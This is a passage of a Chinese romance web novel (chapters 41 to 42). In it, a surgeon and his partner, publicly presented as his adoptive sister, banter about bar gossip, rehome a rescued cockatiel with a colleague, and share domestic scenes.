江问舟:“……”我老婆是谁说出来吓死你:) “……它本来就怕我,我妹妹说可能是因为我身上有猫的味道。”他哭笑不得地解释,等放下以后发现手上一层头皮屑一样的东西,有些疑惑,“这是什么?灰尘?” “羽粉,玄凤这种鸟就是这样,羽粉多,换羽季的时候,翅膀一张,羽粉漫天飞舞,家里有人有呼吸系统疾病的话根本养不了。” 宋主任看了一会儿又嘀嘀咕咕:“看着像黑牛,又像白脸珍珠……” 江问舟听了想法只有一个,幸好要送走了,不然齐眉这咳嗽怕是还得继续拖下去。 “看不太清楚,这样吧,你明天带来给我仔细看看。”宋主任最后说。 江问舟便问:“您要养么?” “养呗,可怜的,看样子最多一岁,玄凤好好养能活十几年呢。”宋主任说完还叹口气。 江问舟有些好奇:“您养着虎皮,能跟玄凤一起养么?” 一面问,一面又伸手摸了摸鹦鹉的后背,发现它好像没那么僵硬了,忍不住笑笑。 “能啊,玄凤的性格很温柔亲人,虎皮……反正这俩品种都是战五渣,一开始也不会合笼,处得来才一起住嘛,再说我们家两只小鸡脾气还可以的,问题不大,我家地方大,给它弄个大笼子。” 听宋主任说得潇洒又笃定,江问舟便松口气:“那我明天顺便把鸟粮给您也带过去,我……妹妹还给它买了鸟粮。” “哦哟,还有嫁妆呐,好好好。”宋主任高兴极了,还说到时候请他吃饭。 江问舟跟他闲聊几句,看了一会儿在箱子里瞪着圆溜溜的眼睛看自己的鹦鹉,这才转身出门下楼。 刚走到楼梯的拐角,就听到一道陌生女声在说话:“……肯定有问题!” 这是在说什么?他有些纳闷。 听到脚步声,靠在吧台边的齐眉抬头望过去,看见江问舟正从楼上下来。 他温和的眉眼在夜晚可以调得昏黄的光线里像是蒙上了一层柔纱,朦朦胧胧的,看上去格外温暖。 嘴角也是翘着的,眉眼平和舒展,不似之前的沉郁紧绷,倒叫齐眉看出了几年前的那个江问舟来。 但是吧…… 她想到正听田乐和客人聊的话题,和具体内容,看江问舟的眼神瞬间一变。 江问舟几乎是立刻就捕捉到了她这怪异的目光,心里立刻一顿。 他不由得有些好奇,怎么感觉在他和宋主任聊鹦鹉的这段时间里,一楼好像发生了什么事? 40-50 第41章 第四十一章(二合一)哥,怎么不说话…… “这是在聊什么?”江问舟在吧台旁边坐下,对面就是吧台里的齐眉。 “……没什么。”齐眉眨眨眼,努力让自己的眼神恢复正常,问他,“跟宋主任聊完啦?” 见她不肯说,江问舟也只好暂时作罢,点点头:“我明天把它带去单位给宋主任看看。” 带小鹦鹉去人类的医院……怎么不算去看病呢! “宋主任要养它么?”齐眉囧了一下,确认道。 江问舟又点点头:“养,他家的是虎皮鹦鹉,说能跟玄凤混养,不过一开始先让它们待在各自的笼子里。” 齐眉没养过鸟,也不懂这些,但宋主任听起来很有经验,她不由得松口气:“记得把鸟粮也带上。” 江问舟刚应了声好,就听到有人叫齐眉:“眉姐。” 抬眼一看,就见她身后的出餐窗口探出个戴着一次性头套的脑袋,正招呼齐眉端东西:“你要的饭和脆炸虾仁好啦。” 齐眉连忙转身道谢,将托盘端过来,往江问舟面前一放,催他:“快吃。” 这都快十点了,晚饭成功变成了宵夜。 大海碗里铺着满满一层撒有白芝麻的肥牛,青菜和卤蛋被挤到边角,江问舟用筷子轻轻拨了一下,发现米饭竟然藏在很深的地方。 顿时忍不住笑了声:“不会给我煮了一斤的肉吧?” 齐眉闻言竟然真的有些犹豫:“……没有吧?应该没有……一盒有五百克吗?” “一斤听起来是有点多,但其实只有五百克,应该还好?”齐眉眨眨眼,“烫熟都缩水了,就一点点,都这个年纪了,宵夜就别吃这么多碳水了吧?” 江问舟拿筷子的手一顿,本来他还不太在意她叽里咕噜说了什么,听到这里却忍不住问:“这个年纪是什么意思,你觉得我老了?” 窒息,我女朋友嫌弃我老了,说好的到六十都正是闯的年纪呢? 齐眉眨眨眼,刚想说什么,又忍了回去。 看见她一脸的欲言又止,江问舟更加确定刚才发生过什么事,或者他们议论过什么话题,说不定还是跟年龄有关的。 回去再问,他笑笑,低头去看托盘上另一个盘子。 盘子里装的说是脆炸虾球,看起来圆圆的,很大一颗,旁边还有一小碟番茄酱。 江问舟夹起一颗,蘸了点番茄酱,入口才发现,虾球外面那层面衣很薄,咬下去都是虾肉的紧实弹牙,一吃就是活虾。 他不由得惊讶,抬眼问齐眉:“这是……店里菜单上有的?” “有的呀,八十六一份。”齐眉应了声,笑眯眯地问刚走到吧台的客人,“美女要喝点什么?” “嗯……我想要一杯清爽点,但又不是经常喝的。”客人看着酒单有些犹豫。 因为不知道客人常喝的是那种,齐眉便挑着一个和莫吉托一样清爽,但又不像莫吉托那样路人皆知的来推荐:“凯匹林纳怎么样?巴西国饮,用当地的甘蔗酒卡查萨做基酒,加新鲜青柠汁和糖一起混合,喝起来清爽甘甜,还有甘蔗的味道,要不要试试?” 客人爽快应好,又看一眼旁边正大啖虾球的江问舟,有些好奇地问:“老板,你刚才说的八十六一份是什么呀?” “脆炸虾球,用的都是当天从市场新鲜送过来的罗氏虾,我们自己手工扒的虾壳,太麻烦了,所以每天是限量的,今天已经没有了哦,不好意思啊。”齐眉忙解释道。 “好可惜,看来我来晚一步,它看起来很美味。”客人笑道,又看一眼江问舟。 齐眉笑眯眯地点头:“没办法,对虾的要求还是有点高的,很多客人都喜欢这一口,只能提前预定,我们之后一定想办法提高产能。” 说完她扭头看见江问舟已经把虾球吃完了,才发现自己忘了给他倒水,忙问:“你喝点什么呀?” 江问舟想了几秒,“冰水吧。” 齐眉刚点点头,刚才点完单的客人就笑着道:“帅哥,这里是酒吧,你喝冰水不太合适吧,要不要我请你?” 话音刚落,田乐和佟林就率先笑起来,齐眉先是愣了一下,旋即哭笑不得地反应过来。 正要解释,江问舟就已经道:“我是来接老板下班的,要开车,不方便喝酒,谢谢你的好意。” 齐眉也忙点点头,跟着解释:“这是我……哥哥。” 江问舟听见这称呼,抬头似笑非笑地看她一下,视线在她脸上匆匆掠过,很快就收了回去。 齐眉觉得脸有些热,但强忍着不去看他,低头找着需要用的基酒。 顺便给了江问舟一杯冰的薄荷柠檬水。 很快就到晚上十点,佟林换了个歌单,第一首歌的前奏一响,江问舟吃饭的动作就停了下来。 等听歌手唱到:“但我拖着躯壳,发现沿途寻找的快乐,仍系于你肩膊,或是其实在等我舍割……”[1] 他忽然对齐眉说了句:“这首歌已经连续两年蝉联我的年度歌单第一名。” 齐眉在给一位客人调威士忌酸,闻言手腕一抖,威士忌倒多了。 她一面重新倒酒,一面缓解尴尬似的问道:“……这样啊、那……第二名是什么?” 问完没听到回答,她撩起眼皮看了一眼对面,江问舟正低头挖着碗里的饭。 大概是因为音乐声比较大,他没听见吧。齐眉有些讪讪。 一首歌并不长,很快就到最末:“被你牵动思觉,最后谁愿缠绕到天国,然后撕裂躯壳欲断难断在,不甘心去舍割……”[2] 这时她忽然听到一句:“《兄妹》。” 齐眉一愣,抬起头,有些茫然似的望向江问舟。 见她似乎不解,江问舟便重复一遍自己的意思:“我说,我歌单的第二名是《兄妹》这首歌。” 话音刚落,上一首歌结束,第二首歌无缝衔接,第一句就是:“对我好,对我好,好到无路可退……”[3] 齐眉:“……” 一旁在榨柠檬汁的田乐只听到江问舟后面两句话,虽然不知道他们兄妹俩在聊什么话题,但还是觉得这个巧合很有意思。 齐眉无语的表情也很搞笑,于是她哈哈笑出声来。 齐眉听得眼皮直跳,真怕她下一秒就问他们在聊什么,她又要找什么理由应付过去。 她忍不住抬头看一眼江问舟,只见他眉眼含笑,一副淡定至极的模样,仿佛笃定刚才的对话不会引人怀疑。 好在田乐真的什么都没问,笑过就算了,正好有客人来点单,吧台里不管是谁,都在不停地忙碌,冰块和雪克壶碰撞的声音不绝于耳。 江问舟很快就吃完饭,坐在吧台边一边等齐眉,一边打开手机监控,看金金在家里做什么。 晚上家里客厅的灯是通过程序自动开启的,监控一打开,就看见一道小麦色的残影从镜头前飞奔掠过。 不知道是不是听见了摄像头这边传出来的动静,它很快又调头跑了回来,满脸疑惑地凑近前看个究竟。 猫仔的粉鼻头和大嘴套立刻就占满整个屏幕,江问舟本来没打算出声的,这时却忍不住笑着问它:“金金你在做什么?” 猫还没什么反应,齐眉先抬头问了:“……什么金金?” 说完见他看着手机,明白过来:“你在看监控么?” 江问舟点点头,将手机屏幕转向她,给她看金金正好歪着头的样子。 齐眉看了一会儿,问他:“你……它自己一只猫在家,不会憋出毛病来吧?” “……又不是狗。”江问舟有些无奈,但转念一想,又问她,“我明天值班,晚上不回去,要不……你去看看它,给它换一下水?” 齐眉刚想说你没给它买自动饮水器吗,话还没来得及出口,就见他冲自己眨眨眼。 她的话一下就咽了回去。 好好好,其实这人的真正意思是,今晚我不回去,明晚也回不去,明天去给咪铲个屎吧。 至于为什么今晚不回去,你应该知道的。 齐眉撇撇嘴,嗯了声,江问舟又说:“你喜欢的话,可以带过来店里玩玩。” 齐眉声音又一顿,半晌才应了声好。 因为她时常带着年年出入,金金也来过店里,所以不管是田乐还是佟林,听到江问舟这话都没觉得哪里不对。 田乐甚至还说:“虽然猫善于独处,但长时间没人管还真不行,我邻居经常出差,她家猫都当我们家是半个家的。” 就这么聊起猫的话题,没一会地话题就被带偏得去到八万里,加上又要接待客人,江问舟很快就没了插话的余地。 他能感觉到齐眉是故意的,于是抿着嘴唇朝她揶揄地笑,提醒她:“十一点多了,早点回去吧,明天还要上班不说,不好好休息,你的咳嗽什么时候才能好?” 田乐和佟林也让她赶紧回去,“赶紧回去吧,这里我们俩就够了。” 齐眉点点头,这才洗了手,上楼将装鹦鹉的箱子和鸟粮拿下来,江问舟顺手接过,刚走到门口,就被一位女客人叫住。 “要喝点什么吗?可以跟我们调酒师说哦。”齐眉以为人家是要加单。 可人家不是要加单,而是向她打听她的裙子有没有链接。 齐眉一愣,半晌才啊了声,连忙点点头:“有是有,就是不知道下来没有,好几年前买的了。” 边说边解锁手机开始找订单。 江问舟抱着装鸟的箱子在一旁等,看着她咬着嘴唇低头认真找订单的侧脸,恍惚间看到从前。 那个时候,她可是整个临床医学院出了名的漂亮女同学,说齐眉可能外班的同学不认识,可要是说某某级临五1班那个长得最漂亮很会打扮、有一双荔枝眼笑起来特别甜的女生,好多外班的同学就会恍然大悟地哦一声。 像现在这样被不熟拦下询问衣服或饰品有没有链接的事,也发生过好几次。 “啊,下架了耶,没有了,不过有这件灰蓝色的,我觉得版型还不错,穿起来肯定很显腰,下半身的风琴褶看起来压得还不错,嗯……你穿起来会很显身材哦。” 齐眉说着,手指在半空中划了一下,“应该会比较适合你哦,充分展示你这么好的身材,但又很温柔,不过……” 她耸耸肩:“这件裙子很修身,穿了以后不能吃饱,吃饱肯定会显小肚子,需要取舍,不建议饿肚子。” 江问舟听到这里,忽然不禁有些莞尔。 以前她是不会说最后这一句的,她曾经的观点,是饿一顿能有什么事,都穿漂亮裙子了,当然要漂亮到底啊! 齐眉跟客人聊完衣服,摆摆手道别,扭头招呼江问舟:“走吧,回去了。” 等出了门,她才问:“你笑什么?” “笑你。”江问舟抿着唇,还是那副忍俊不禁的模样,“我以为你会跟她说,姿态最重要,一顿不吃饱问题不大。” 齐眉闻言一噎,想反驳,可话到嘴边又觉得有些理亏。 于是她撇撇嘴,哼了声,紧接着听到他问:“刚才我从楼上下来的时候,你们在聊什么?我怎么感觉你看我的眼神……怪怪的?” 齐眉一听这个问题,嘴角立刻一抽:“啊……你说这个啊,嗯……也没什么、哪有怪怪的,没有啊……” 江问舟拉开车门,先把箱子放进车里,然后把她堵在车门口,按住她要拉车门的手,向前跨了一步,将她逼退得靠在车门上。 吓唬她:“说不说?不说我在这儿亲你了啊,要是被熟人看到,传到爸妈那儿,我会很高兴的。” 说完低头往她这边靠,一副说到马上就做到的姿态。 齐眉吓得连忙伸手抵住他胸口,“不、不行,回去再……你走开,我要上车……” 她整个人都快被江问舟的身影罩住了,呼吸间全是他身上传来的气息,灼热又危险,压迫感一下就上来了。 齐眉连连推拒,听到他追问:“那你说不说?” “……你就这么肯定话题跟你有关?”她没好气地反问。 江问舟跟她耍无赖:“这我不敢肯定,我只是纯粹想知道你们聊了什么而已。” 齐眉一噎,好好好,你这么想知道是吧? 她眼睛一闭,放开嗓子就大声道:“我们在说,一个男的,抱着很多天不见的女朋友又不碰她,要么是在外面吃饱了,要么是不行了,反正肯定有问题!” 江问舟:“???” ————— 昏黄路灯下,齐眉看着江问舟震惊到失语的表情,忍不住噗嗤一下笑出声来。 “怎么,不是你非要听的么,倒是发表一下意见呀。”她用食指用力戳戳江问舟的胸口,感受着指尖遇到的阻力,忍不住又戳了几下。 齐眉的语气相当幸灾乐祸:“哥,怎么不说话,哑巴啦?” 江问舟好不容易从震惊种回过神来,抬手捉住她的手指,握在手心里捏着。 脸上的表情还是有些不可置信的扭曲:“你们……怎么会、店里那样的公众场合,你们聊的尺度、呃……话题是不是有点……宽泛?” 多少有点语无伦次了,看起来像是真的有被吓到。 齐眉乐不可支,笑着往前伸了伸头,用额头顶了一下他胸口,随即立刻直起脖子,抽回手指的同时把他往外一推。 “……注意点影响行不行。”她嘟囔了一句,解释道,“说八卦嘛,那位也是老客人了,跟我们聊她朋友的事,说她朋友的对象外派出国一年多,好不容易回来了,正常感情的情侣这时候是不是得小别胜新婚一阵?可是他们没有诶,一回来还是忙,要交接什么的,也能理解,但是忙了两三个月还是忙得不着家……” 江问舟站在她跟前,微微歪着头听她说这些,一时也不着急回去,觉得就这么在外头聊聊天也挺好。 听到这里他还搭腔:“是什么工作?有的工作可能工作性质就是这样,在内在外都忙。” “工程师再怎么忙,休息的时间总有吧?怎么也不可能刚回来一点休息都没有,就立刻开始忙,一忙忙好几个月。”齐眉哼了声,“生产队的驴都不敢这么用。” 江问舟顿时就笑了,伸手摸她脸,“哎哟,你还见过生产队的驴啊,厉害了,我都没见过。” “……被看见了!”齐眉啧了声,把他推开,继续道,“反正就是两口子天天躺一个被窝里,但什么事都没发生,时间一长女方就忍不住犯嘀咕,觉得不对劲,私下跟朋友一说,朋友就问,有没有发现男朋友有什么不对劲的地方,比方偷偷避着她打电话、不肯给她看自己的手机,等等,她一想,有诶!” 朋友们就说,男人这样,多半是在外头偷吃了,不然以他们大脑是下半身控制的生理结构,怎么可能忍得住一直不碰她? 齐眉边说边乜一眼江问舟,那眼神怎么说呢,也是怪怪的。 江问舟顿时满头黑线:“……你这什么眼神?” “什么什么眼神?”齐眉眨眨眼,变成满脸疑惑地看着他,还说,“别打岔,我还没说完呢。” 江问舟努了一下嘴,伸手捏捏她耳垂。 没有佩戴耳饰,甚至没有戴耳棍,他能捏到耳洞的痕迹,手感软软的,忍不住用力揉了两下。 齐眉侧头避开他的手,继续说着八卦的后续。 其实后面也很简单,无非就是经过姐妹团热心的认真分析,女方觉得这男人问题大大的有,经过一段时间的侦查,虽然还没有抓到小三到底是谁,但她已经按捺不住。 “直接展开抓捕和审讯工作。”齐眉说到这里,还用力点了一下头。 江问舟顿时又忍俊不禁,看着她认真严肃的脸孔,艰难地把表情也绷住,问道:“结果怎么样?” 齐眉闻言,看他的目光再一次变得有点不对。 见江问舟开始深呼吸了,她立刻恢复正常,回答道:“结果就是没有小三嘛,是男的……有心无力了,还去医院看过男科,有检查单为证的。” 江问舟:“???” 什么玩意儿,听半天结果是这个结局? 他的表情从无语变成不解,问道:“多大年龄?具体是什么时候开始出现这种症状的?有没有诱因?是不是工作压力太大导致的……” “停停停!”齐眉不等他说完,立刻叫停,“你说有没有可能,那不是我男朋友,也不是我的病人,你说的这些信息,我都不知道?” 江问舟:“……” “而且重点是这个吗!”齐眉戳戳他胸口,加重语气,“重点是他不坦诚,为什么不一开始就直接说呢,非得人家猜来猜去以为他出轨了?” 她斜着眼看他,问道:“所以你说是不是有问题?” 江问舟这还有什么不懂的,听着是说别人家的事,实际上是在点他。 “昨晚不是……”他哭笑不得地想解释,但话开了头,又觉得有几分不好意思,遂看着她抿出一个有些无奈的笑。 齐眉望着他,目光先是嗔怪,随即在他变化的表情里渐渐变成紧张和惊恐。 “……江问舟你不会真的……不行了吧?” 江问舟一噎,干脆抬手屈指重重一下敲在她头顶上。 敲完见她捂着脑袋要抗议,这才没好气道:“你才不行,我就喜欢睡个素的,不行?” 行行行,怎么不行。齐眉撇撇嘴,似乎很不以为然。 想想以前过的那些蜜里调油又没羞没臊的日子,江问舟也觉得自己这话似乎没什么说服力。 他有些尴尬地清清嗓子,组织了一下语言,才道:“我只是……比起这件事,我更想先和你聊聊天,现在你是什么生活习惯,喜欢什么,甚至以前有些……很多很多事我都不知道。” 江问舟低头看着她的脸,叫她抿着的嘴角松开,只一瞬,又重新抿上,便笑着抬手,用拇指的指腹揉揉她的嘴角。 开玩笑道:“你咳嗽还没好呢,不好传染给我吧?” 齐眉抬头,迎着灯光看进他带着认真笑意的眼里,只觉得脸上一片火辣。 这可真是…… 她眨眨眼,有些尴尬,又不知道说什么才好,半晌嘟囔着小声道:“那你别挨着我,挨着也会传染的……” 江问舟当没听见,头一低就靠近她。 齐眉下意识地闭上眼,嘴唇又抿了起来。 刚要屏住呼吸,就听他笑着问:“这是怎么了,眼睛疼?” 齐眉:“???” 她倏地睁开眼,果不其然在他眼睛里看到一抹戏谑闪过。 顿时明白过来自己是被他捉弄了,脸上一热,又尴尬*起来:“你……” 刚张口,江问舟已经探身把车门拉开了,把她往里推,“别磨蹭了,再不回去天就要亮了。” 看看时间,他们已经在这大马路边聊了半个小时,再过不到五分钟,就是第二天了。 回去的路上齐眉犯困,才跟江问舟聊了几句他办公室的同事,就靠在车门边直打哈欠。 江问舟见状立刻停下话题,劝她:“睡一会儿吧,到家了叫你。” 齐眉点点头,低低应了声好。 闭上眼的时候,她想的是,这要是在昨天之前,她估计不会有什么困意,肯定全心全意都在注意江问舟的一举一动上。 她心里咕哝几句,眼皮越来越重,很快就睡了过去。 江问舟侧头看一眼她垂着脖颈的模样,调整一下车速,干脆抄近路从另一边走了。 齐眉也不知道自己睡了多久,反正听到江问舟喊她名字,就迷迷糊糊地睁开眼。 明亮的灯光晃得她立刻又闭上眼,感觉到自己被江问舟放下来。 她睁开眼,发现果然是回到家了,他们正在玄关,江问舟弯腰将她的拖鞋拿出来。 “泡澡还是冲澡?”他问道,起身要先去开热水器。 “冲澡吧,我怕我一会儿在里面睡着了。”齐眉低头换鞋,刚睡醒的声音有些闷闷的。 应完起身去找止咳糖浆,拧开盖子仰头喝了一口。 江问舟开了热水器后出来,看见她仰着头拿着个瓶子在自己脸上晃,还嘬一口,不用问,肯定是止咳糖浆。 “你这几个月喝的止咳糖浆,没有一箱也有一打了吧?”他揶揄道。 齐眉哼了声,把空瓶子扔进垃圾桶,就往房间去了。 江问舟看一眼她的背影,笑笑,转身往阳台走去。 他仔细检查每一盆花,确定它是否需要浇水,这对于他来说,是一件很新的事,毕竟以前齐眉不养花,他也没养过。 幸好时代发达,网上什么信息都有,如何判断某种花什么程度需要浇水、怎么浇、浇多少这种问题,很容易找到答案。 等齐眉包着干发帽从浴室出来,看见的就是他在仔细给蝴蝶兰浇水的背影,好奇地凑过去问:“你在做什么研究?” “就是你看到的这样。”江问舟应道,问她,“怎么突然喜欢上养花了?” “搬家的时候,对面的徐医生送了一束花,我用花瓶插起来觉得挺好看的,它枯萎以后我又买了一束补上,去花店的时候看到有卖盆栽的多肉,觉得可爱就买了,再后来觉得只有多肉有些单调,就买了别的花,正好大的盆栽可以给家里增加一点绿色,慢慢就成这样啦。” 齐眉一面解释,一面将电吹风插上电,催他:“快去洗澡。” 顿了顿,又说:“你的电动牙刷和剃须刀买了还没到,先将就几天吧。” 江问舟眉头一挑,他说的时候可没说要剃须刀,看来这是个赠品! 不过他更好奇她的前一句话:“你对门……你跟徐医生关系不错?” 齐眉歪头想了想:“还行吧,虽然我们都早出晚归,我还经常半夜回来,平时也不怎么见面,但要是见到了,也都客客气气的,有事也互相帮忙,嗯……我觉得是个好邻居。” “那就好。”江问舟笑笑,放下小花洒,转身要往浴室走。 刚走了两步就听齐眉说:“我能再看看金金吗?” 他头也不回地应:“手机在茶几上,密码还是以前的。” 齐眉眨眨眼,抿着嘴角笑了一下。 不过这个点江问舟住处客厅的灯已经熄了,打开摄像头只能看到金金的影子,黄金面包没见到,只见到圆圆的一块饼。 齐眉看了一会儿监控就把手机关了,继续吹头发。 她头发又长又多,江问舟都洗完出来了,她的头发还没干透。 江问舟过来,很自然地接手帮她继续吹头发,一面感受着五指在柔顺发丝间穿梭的手感,一面问她:“怎么想到要去染发的?” “……从头开始嘛。”齐眉应道,声音低了一点,问他,“不好看吗?” “好看。”江问舟应道,继续问,“这样护理起来会不会很麻烦?” “我觉得还好,主要是我工作也不忙,休息日多,挑工作日去做护理就不难约了。” 齐眉应着,又打了个哈欠。 江问舟一面帮她吹头发,一面用指腹揉着她的后脑勺,他越揉,齐眉越困,哈欠一个接一个。 好在没过多久,她就听到江问舟说:“好了,都干透了,快去睡觉。” 齐眉二话不说就起身往卧室走。 江问舟把东西收好,关灯进入卧室,发现里面只开了一盏光线昏暗的小夜灯,齐眉已经躺下了。 他不由得一阵好笑,都困成这样了,回来之前她竟然还有心思那些乱七八糟的事,怀疑他不行? 还真以为自己还是二十岁的时候,精力无限,把夜熬穿都不带怕的。 江问舟摇摇头,随即上了床,拉好被子,低头亲了一下齐眉的眼睛,看见她眼皮颤了一下,这才满意地扭身关灯。 周围的空气瞬间变得更加安静,齐眉往右边一滚,碰到了一堵温热又有弹性的墙,她毫不犹豫就靠过去。 肌肉记忆似乎瞬间复苏,曾经在日日夜夜的相偎相傍种培养出来的习惯和本能,迫不及待的重新浮出水面。 江问舟还没有睡得很深,察觉齐眉的靠近,便翻了个身,侧躺着将手臂横过她的腰。 第42章 第四十二章(二合一)可真是怀念以前…… 早上七点四十分,容医大一附院心外科一病区。 护士站和配药间门口围了一圈人,有的在配药,有的刚测完血压血糖之类的数据回来,还有的是学生,都在一边忙碌一边闲话。 有人转头看见江问舟捧着个纸箱进来,便笑着问:“江主任这是带了什么宝贝,好吃的啊?” “活的,不能吃。”江问舟笑吟吟地应,还问,“宋主任来了没有?” 另一位护士闻言便应道:“老宋啊,也是刚来。” 江问舟道了声谢,端着纸箱就进了更衣室。 更衣室里还有其他人,其中之一正好是他们组的规培生,见他进来,立刻打招呼:“主任早上好。” 话音刚落,就听见不知打哪儿传来的一声:“喳——” 大家顿时一愣:“哪儿来的鸟叫声?” 江问舟有些无奈,把手里的纸箱往一旁用作杂物架的推车上一放,轻轻一叩纸箱,对大家说了声不好意思:“是我这里的鸟。” 大家紧接着再次一愣,啊了声,问他:“主任你养了鸟啊?怎么带来上班,是病了吗?” “昨晚捡的小鹦鹉,宋主任愿意养,我就带过来了。”江问舟一面解释,一面拿下自己那件白大褂套上。 仿佛是为了应和他,话音刚落,箱子里的小鹦鹉又发出一声:“喳——” 大家这才看到,箱子的两侧都打了洞,方便空气进去。 有好奇的凑过去看一眼,想看看鹦鹉长什么样,又不好意思。 玄凤鹦鹉胆小,江问舟没有把它拿出来给大家观赏的意思,换上白大褂就端着箱子走了。 走到办公室门口,他往里一探头,在人群里找起人来。 恰好和宋主任四目相对,俩人眼神一碰,宋主任立刻起身往外走。 脚步非常轻快,满脸都是期待的笑容,都快成花了。 “来来来,让我瞅瞅。”他迫不及待的要看鹦鹉,还关切地问,“昨晚没事吧?” “没事,休息得应该还不错,早上看着也很精神,喂它吃了粮和水,食欲不错,您看下班之后是不是带去给医生看看?” 江问舟说着话,将箱子打开一半盖子,露出一个小口,正往外看的鹦鹉咻一下把头缩了回去,藏到阴影里,只让他们看到它的翅膀。 宋主任干脆转身回办公室里,拿速消液擦了手,这才伸手进箱子里,将鹦鹉小心抓了出来。 仔细观察了一下,笑眯眯道:“是只白脸珍珠,看着倒是像黑牛,真不错,珍珠能长成这样,真漂亮。” 他指着鹦鹉的背羽,兴致勃勃地给江问舟介绍什么样的是珍珠,什么样的是黑牛。 小家伙在他手里瞪着个眼,江问舟感觉自己好像从它眼睛里看到了抗议,叽里咕噜说什么呢,放开我! “耶?哪儿来的鸟?”蔡朝这时凑了过来,好奇地问道。 江问舟拿着箱子,和宋主任一起进了办公室。 鹦鹉刚放回箱子里,就发出两声急促的喳喳声,宋主任一乐,说:“行啊,以后你就叫喳喳了。” 看样子满心满眼都是新得的宝贝,搞不好根本没听清楚蔡朝的问题,江问舟便解释道:“昨天我妹妹店里有个客人捡的,我们家有猫有狗,不适合养鸟,正好宋主任不是养了虎皮鹦鹉么,我就问他要不要……” 说着手朝宋主任那儿比划了一下,结果是什么不言而喻。 这时宋主任赶人:“走走走,别凑这么近,玄凤鹦鹉胆子很小的,你们吓到它了!” 但话音刚落,郭主任来了,探头往他手里一瞧,故意提高音量:“哟,玄鸡!” 宋主任手一抖,立刻把箱子盖上,“老郭你吓着我孩子了!” 郭主任嘿嘿一笑,逗得大家都忍俊不禁,办公室里顿时热闹起来。 郭主任这才问鸟哪儿来的,宋主任指指江问舟:“他妹妹店里的客人捡的。” “小齐那儿?”郭主任眉头一挑,看向江问舟。 江问舟点头,神色淡定:“我家养了猫,您知道的。” “江医生家里的猫很可爱的。”有进来等交班的护士听到这里就说了句,“特别漂亮。” 陈妍闻言立刻应了声对,“金灿灿的,一看就很贵。” 于是便有同事问江问舟接猫花了多少钱,等听说要好几个月工资,都忍不住咋舌。 “怎么感觉比我养小孩还贵,我女儿一年也就花差不多这些钱。” “他不就养的小孩吗,你的是人类小孩,他的是猫小孩。” 江问舟被这个说法逗笑,耸耸肩道:“没办法,我妹妹喜欢这个颜色。” 顿了顿又说:“我们家小狗也很可爱,雪白的萨摩耶。” 秦一鸣听他一口一个“我妹妹”,还难得讲起自己的私事,忍不住眼皮跳了一下。 作为全办公室除了主任之外的唯一知情人,他感觉哪里有点怪怪的:) 特别是接下来还听到有人说:“那你跟你妹妹感情真的好,我和我哥就不行,小时候打长大了吵,我觉得我和我嫂子的感情都比跟他的好,有什么需要帮忙的绝对指望不上他。” 秦一鸣心里那种怪异的感觉更加强烈了,终于清晰地分辨出是无语。 废话,你那跟他那的根本不一样好吧,你那是亲生的,他那是能亲能生的:) 江问舟淡淡笑了一下,对这番话不予置评,主要是情况不一样,他评不上。 “到时间了,交班吧?”护士长这时提醒道。 郭主任点点头,对宋主任道:“把它放我办公室那边吧,门窗都关着,也没人进去,不会吓到。” 江问舟听了忍不住为小家伙松口气,总算要结束了,这里人这么多,还这么吵,真是吓坏i鸟了。 中午从门诊回来,先去呼吸科会诊病人,碰见之前给齐眉看过咳嗽的张主任,还被问了句:“你妹妹的咳嗽好了没有?” 江问舟立刻表示头疼:“不行,药都吃完了还是那样,好不断尾,看来周末确实是要去舒医生家看看中医了。” 舒医生正在一边吃果冻,听到这话便笑:“放心,这样咳了几个月还不好的病人有很多,吃一段时间汤药都好了,不应该有厉宁述他老师,容城别的不说,好的中医还是很多的。” “去省中医看看也可以。”张主任接着道,“就是怕咳得久了对肺和气管不好。” “不过大夏天能咳这么久的也是不多。”舒医生把果冻吃完了,对江问舟道,“是不是平时就身体不太好?多补补啊。” 江问舟笑着点点头,心说她可不是身体不好,是心情不好。 心情不好就吃不好睡不好,时间一长当然出问题。 不过现在应该好点了,他想想昨晚,齐眉是一觉到天亮的,睡得还算踏实,就是早上醒的时候磨磨蹭蹭。 会诊完病人已经是中午一点半,江问舟回去吃饭,刚坐下,就收到齐眉的信息,问他喝不喝咖啡。 他回了个好,接着问她:【午休了?】 齐眉说是,给他拍了张照片,看着是在咖啡店里,面前除了咖啡还有小点心。 江问舟:【看起来很悠闲。】 齐眉回了个乖巧点头的表情包,还给他截了一个咖啡的订单,最后问他:【你也在午休吗?】 江问舟:【在吃饭[照片]】 照片里是一份盒饭,两荤一素的规格,小炒肉、香菇炖鸡和炒豆芽。 齐眉问:【汤呢?】 江问舟:【海带排骨汤。】 接着问她中午吃了什么,吃药没有,跟她说刚才去会诊的时候碰见舒医生了,说要是她家厉医生的叔叔那儿看不好,还可以找厉医生的老师看看。 还说什么:【罗永淳教授是国医大师,一号难求,到时候我们走个后门可能快一点。】 齐眉:“……”倒也不用这么……大阵仗吧? 她立刻转移话题,说晚上要去他那边看金金,问他有没有什么要注意的,还有:【密码是多少呀[搓手手.jpg]】 这就将话题扯开了,可周末回家的时候,孙茂芸却对这个提议非常赞同。 周六是齐眉下夜班,回到家的时候,发现家里多了许多东西。 首先是…… “咪呜~” 听见开门的动静,黄金大面包竖着鸡毛掸子一样的大尾巴就朝门口冲了过去,冲着齐眉叫唤一声。 它瞪着大圆眼睛的模样实在太可爱了,齐眉被萌了一脸,顾不上换鞋,甚至都没把包放下,直接弯腰将金金抱了起来。 然后用力将它举起高过头顶,笑眯眯地跟它说:“好久不见!” 江问舟在厨房,听见动静便出来看,见她把猫举起来,金金的大尾巴左一下右一下地轻摆着蹭过她的手臂,忍不住笑起来。 “快放它下来,洗手吃点早饭,马上就要回去了。” 齐眉应了声好,抱着金金换了鞋,走进客厅后才把它放下来,扭头便看见阳台一角的狗窝旁边多了一个仙人掌猫爬架,猫爬架最底层是一个猫窝。 之前孙茂芸和江眀琮在这边小住时,金金也在这边住过几天,当时它用的是便携式的猫砂盆,现在已经换成了抹茶绿的全封闭式猫砂盆,好大一个,在阳台上好显眼。 “……房子买小了?”齐眉盯着猫砂盆看了半晌,忍不住嘀咕。 江问舟听见,哭笑不得道:“别说傻话,赶紧来吃早饭。” 早餐吃五红豆浆和手抓饼,手抓饼里面卷着火腿肠、鸡柳和生菜叶,江问舟说鸡柳是早上去小区门口的炸串店买的。 齐眉忍俊不禁:“一大早就吃垃圾食品啊?干妈不让吃的。” 江问舟嗯了声,一本正经:“你说得对,晚上去超市买一包速冻的回来放冰箱,要吃的时候用空气炸锅炸一根,自己家做的,不算垃圾食品。” 话音刚落,金金就跑过来了,齐眉低头看它,和它四目相对,嘻嘻笑了一下。 